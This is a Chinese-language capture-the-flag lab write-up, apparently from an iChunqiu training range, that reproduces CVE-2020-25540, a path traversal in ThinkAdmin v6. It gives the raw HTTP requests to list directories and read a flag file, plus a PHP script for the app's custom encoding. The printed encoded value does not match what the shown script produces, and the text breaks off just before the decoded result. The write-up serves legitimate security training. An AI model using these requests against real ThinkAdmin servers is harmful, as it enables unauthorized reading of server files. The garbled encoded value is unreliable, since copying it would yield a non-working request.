春秋云镜——CVE-2020-25540
本博客所有网络安全相关教程、漏洞原理、渗透实操、攻防技术等内容,仅用于合法安全学习、白帽技术交流、企业授权安全测试。
所有技术严禁用于未授权探测、非法入侵、数据窃取、网络攻击等任何违反《中华人民共和国网络安全法》的违法行为。
任何个人利用本文内容实施违规操作,所产生的一切法律责任与后果均由当事人自行承担,与本人无关。
倡导正向网络安全学习,坚守白帽底线,共建清朗网络环境。
一、靶机介绍
ThinkAdmin 6版本存在路径遍历漏洞,可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件.
POST /admin/index.php?s=admin/api.Update/node HTTP/2 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Content-Length: 13 rules=["."]二、环境信息
靶场地址:http://eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com:80/admin/login.html
目标版本:ThinkAdmin v6(PHP 7.2.20)
工具:Burp Suite、PHP 在线运行环境
三、漏洞复现步骤
步骤 1:验证漏洞存在(目录遍历)
首先使用 node 接口验证目录遍历功能,确认漏洞存在:
构造 POST 请求
POST /admin/index.php?s=admin/api.Update/node HTTP/1.1 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=["../../../flag"]响应结果(成功)
说明:文件列表成功返回,且确认 ../../../flag 路径下存在目标文件,漏洞存在。
步骤 2:构造自定义加密算法
ThinkAdmin 的 get 接口使用了 UTF-8→GBK→36 进制两位补 0 的自定义加密算法,需编写 PHP 脚本生成正确的 encode 值:
加密脚本
<?php function encode($content) { // 1. UTF-8转GBK $string = iconv('UTF-8', 'GBK//TRANSLIT', $content); $length = strlen($string); $chars = ''; // 2. 每个字符转36进制,两位一组补0 for ($i = 0; $i < $length; $i++) { $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); } return $chars; } // 目标路径 $content = "../../../flag"; echo "Encode Result: " . encode($content); ?>运行结果
得到加密后的 encode 值:lala1blala1blala1b2u302p2v
步骤 3:读取目标文件(flag)
使用生成的 encode 值构造 get 接口请求,读取 flag 文件:
构造 GET 请求(HTTP/1.1)
GET /admin/index.php?s=admin/api.Update/get&encode=lala1blala1blala1b2u302p2v HTTP/1.1 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com响应结果(解码前)
响应体为 Base64 编码内容
解码后得到:
